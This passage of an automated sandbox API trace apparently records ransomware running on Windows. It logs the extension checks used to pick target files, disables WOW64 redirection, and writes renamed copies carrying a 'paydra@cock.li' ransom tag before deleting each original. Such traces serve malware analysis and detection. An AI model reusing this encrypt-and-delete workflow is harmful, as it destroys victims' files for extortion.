lpString2="R.DLL") returned -1 [0060.990] lstrlenW (lpString=".ppt") returned 4 [0060.990] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0060.990] lstrlenW (lpString=".zip") returned 4 [0060.990] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.990] lstrlenW (lpString=".rar") returned 4 [0060.990] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.990] lstrlenW (lpString=".bz2") returned 4 [0060.990] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.990] lstrlenW (lpString=".7z") returned 3 [0060.990] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0060.990] lstrlenW (lpString=".dbf") returned 4 [0060.990] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0060.990] lstrlenW (lpString=".1cd") returned 4 [0060.990] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0060.990] lstrlenW (lpString=".jpg") returned 4 [0060.990] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.990] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0060.990] lstrlenW (lpString="ACERCLR.DLL") returned 11 [0060.991] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0061.102] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=55744) returned 1 [0061.102] CloseHandle (hObject=0x1c8) returned 1 [0061.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll")) returned 0x20 [0061.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0061.120] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0061.121] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.121] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.121] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0062.535] GetLastError () returned 0x0 [0062.535] ReadFile (in: hFile=0x1c8, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0xd9c0, lpOverlapped=0x0) returned 1 [0062.559] WriteFile (in: hFile=0x158, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xd9d0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xd9d0, lpOverlapped=0x0) returned 1 [0062.560] ReadFile (in: hFile=0x1c8, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.561] WriteFile (in: hFile=0x158, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xea, lpOverlapped=0x0) returned 1 [0062.561] SetEndOfFile (hFile=0x158) returned 1 [0062.561] CloseHandle (hObject=0x158) returned 1 [0062.561] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.561] SetEndOfFile (hFile=0x1c8) returned 1 [0062.562] CloseHandle (hObject=0x1c8) returned 1 [0062.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0062.562] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll")) returned 1 [0062.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0062.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0062.562] lstrlenW (lpString=".doc") returned 4 [0062.562] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0062.562] lstrlenW (lpString=".docx") returned 5 [0062.562] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0062.562] lstrlenW (lpString=".pdf") returned 4 [0062.562] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0062.562] lstrlenW (lpString=".xls") returned 4 [0062.563] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0062.563] lstrlenW (lpString=".xlsx") returned 5 [0062.563] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0062.563] lstrlenW (lpString=".ppt") returned 4 [0062.563] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0062.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0062.563] lstrlenW (lpString=".zip") returned 4 [0062.563] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0062.563] lstrlenW (lpString=".rar") returned 4 [0062.563] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0062.563] lstrlenW (lpString=".bz2") returned 4 [0062.563] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0062.563] lstrlenW (lpString=".7z") returned 3 [0062.563] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0062.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0062.563] lstrlenW (lpString=".dbf") returned 4 [0062.563] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0062.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0062.563] lstrlenW (lpString=".1cd") returned 4 [0062.563] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0062.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0062.563] lstrlenW (lpString=".jpg") returned 4 [0062.563] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0062.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0062.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0062.563] lstrlenW (lpString=".doc") returned 4 [0062.563] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0062.563] lstrlenW (lpString=".docx") returned 5 [0062.563] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0062.563] lstrlenW (lpString=".pdf") returned 4 [0062.563] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0062.563] lstrlenW (lpString=".xls") returned 4 [0062.564] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0062.564] lstrlenW (lpString=".xlsx") returned 5 [0062.564] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0062.564] lstrlenW (lpString=".ppt") returned 4 [0062.564] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0062.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0062.564] lstrlenW (lpString=".zip") returned 4 [0062.564] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0062.564] lstrlenW (lpString=".rar") returned 4 [0062.564] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0062.564] lstrlenW (lpString=".bz2") returned 4 [0062.564] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0062.564] lstrlenW (lpString=".7z") returned 3 [0062.564] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0062.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0062.564] lstrlenW (lpString=".dbf") returned 4 [0062.564] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0062.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0062.564] lstrlenW (lpString=".1cd") returned 4 [0062.564] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0062.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0062.564] lstrlenW (lpString=".jpg") returned 4 [0062.564] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0062.564] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0062.564] lstrlenW (lpString="ATLCONV.DLL") returned 11 [0062.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0062.587] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=385368) returned 1 [0062.587] CloseHandle (hObject=0x1c8) returned 1 [0062.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll")) returned 0x20 [0062.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0062.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0062.588] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.588] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.588] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0062.588] GetLastError () returned 0x0 [0062.588] ReadFile (hFile=0x1c8, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0) Thread: id = 15 os_tid = 0x9f0 [0032.698] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x38a06a0 [0032.698] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x38b06a8 [0032.698] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500390 [0032.698] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x5030d0 [0032.698] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5003a8 [0032.698] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x3c80020 [0032.699] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5003c0 [0032.699] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x5003c0, Size=0x20) returned 0x4e5ca0 [0032.699] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5003c0 [0032.699] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x5003c0, Size=0x20) returned 0x4e5c78 [0032.699] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0032.699] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0032.699] Wow64DisableWow64FsRedirection (in: OldValue=0x315ff58 | out: OldValue=0x315ff58*=0x0) returned 1 [0032.699] lstrlenW (lpString="kernel32.dll") returned 12 [0032.699] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5ca0 | out: hHeap=0x4b0000) returned 1 [0032.699] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0032.699] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5c78 | out: hHeap=0x4b0000) returned 1 [0032.699] Sleep (dwMilliseconds=0x64) [0033.002] Sleep (dwMilliseconds=0x64) [0033.575] lstrcmpiW (lpString1=".BAK", lpString2=".html") returned -1 [0033.575] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0033.575] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0033.669] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=8192) returned 1 [0033.669] CloseHandle (hObject=0x178) returned 1 [0033.669] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0033.669] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\bootsect.bak.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0033.669] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0033.670] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0033.670] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0033.670] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0033.670] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\bootsect.bak.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0033.670] GetLastError () returned 0x0 [0033.670] ReadFile (in: hFile=0x178, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x2000, lpOverlapped=0x0) returned 1 [0033.684] WriteFile (in: hFile=0x17c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x2010, lpOverlapped=0x0) returned 1 [0033.685] ReadFile (in: hFile=0x178, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0033.685] WriteFile (in: hFile=0x17c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0033.685] SetEndOfFile (hFile=0x17c) returned 1 [0033.686] CloseHandle (hObject=0x17c) returned 1 [0033.686] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0033.686] SetEndOfFile (hFile=0x178) returned 1 [0033.687] CloseHandle (hObject=0x178) returned 1 [0033.687] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x27) returned 1 [0033.688] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0033.688] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0033.688] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0033.688] lstrlenW (lpString=".doc") returned 4 [0033.688] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0033.688] lstrlenW (lpString=".docx") returned 5 [0033.688] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0033.688] lstrlenW (lpString=".pdf") returned 4 [0033.688] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0033.688] lstrlenW (lpString=".xls") returned 4 [0033.688] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0033.688] lstrlenW (lpString=".xlsx") returned 5 [0033.688] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0033.688] lstrlenW (lpString=".ppt") returned 4 [0033.688] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0033.688] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0033.688] lstrlenW (lpString=".zip") returned 4 [0033.688] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0033.688] lstrlenW (lpString=".rar") returned 4 [0033.688] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0033.688] lstrlenW (lpString=".bz2") returned 4 [0033.688] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0033.688] lstrlenW (lpString=".7z") returned 3 [0033.688] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0033.688] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0033.688] lstrlenW (lpString=".dbf") returned 4 [0033.688] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0033.688] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0033.688] lstrlenW (lpString=".1cd") returned 4 [0033.689] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0033.689] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0033.689] lstrlenW (lpString=".jpg") returned 4 [0033.689] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0033.689] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0033.689] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0033.689] lstrlenW (lpString=".doc") returned 4 [0033.689] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0033.689] lstrlenW (lpString=".docx") returned 5 [0033.689] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0033.689] lstrlenW (lpString=".pdf") returned 4 [0033.689] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0033.689] lstrlenW (lpString=".xls") returned 4 [0033.689] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0033.689] lstrlenW (lpString=".xlsx") returned 5 [0033.689] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0033.689] lstrlenW (lpString=".ppt") returned 4 [0033.689] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0033.689] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0033.689] lstrlenW (lpString=".zip") returned 4 [0033.689] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0033.689] lstrlenW (lpString=".rar") returned 4 [0033.689] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0033.689] lstrlenW (lpString=".bz2") returned 4 [0033.689] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0033.689] lstrlenW (lpString=".7z") returned 3 [0033.689] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0033.689] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0033.689] lstrlenW (lpString=".dbf") returned 4 [0033.689] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0033.689] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0033.689] lstrlenW (lpString=".1cd") returned 4 [0033.689] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0033.689] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0033.689] lstrlenW (lpString=".jpg") returned 4 [0033.690] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0033.690] Sleep (dwMilliseconds=0x64) [0033.985] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0033.985] lstrlenW (lpString="PublisherMUI.xml") returned 16 [0033.985] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.063] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1450) returned 1 [0034.063] CloseHandle (hObject=0x184) returned 1 [0034.063] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020 [0034.063] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.063] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.063] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.063] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.063] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0034.063] GetLastError () returned 0x0 [0034.064] ReadFile (in: hFile=0x184, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0034.065] WriteFile (in: hFile=0x194, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0034.066] ReadFile (in: hFile=0x184, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.066] WriteFile (in: hFile=0x194, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0034.066] SetEndOfFile (hFile=0x194) returned 1 [0034.066] CloseHandle (hObject=0x194) returned 1 [0034.067] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.067] SetEndOfFile (hFile=0x184) returned 1 [0034.068] CloseHandle (hObject=0x184) returned 1 [0034.068] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0034.068] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 1 [0034.068] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.068] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.068] lstrlenW (lpString=".doc") returned 4 [0034.068] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.068] lstrlenW (lpString=".docx") returned 5 [0034.068] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.068] lstrlenW (lpString=".pdf") returned 4 [0034.068] lstrcmpiW 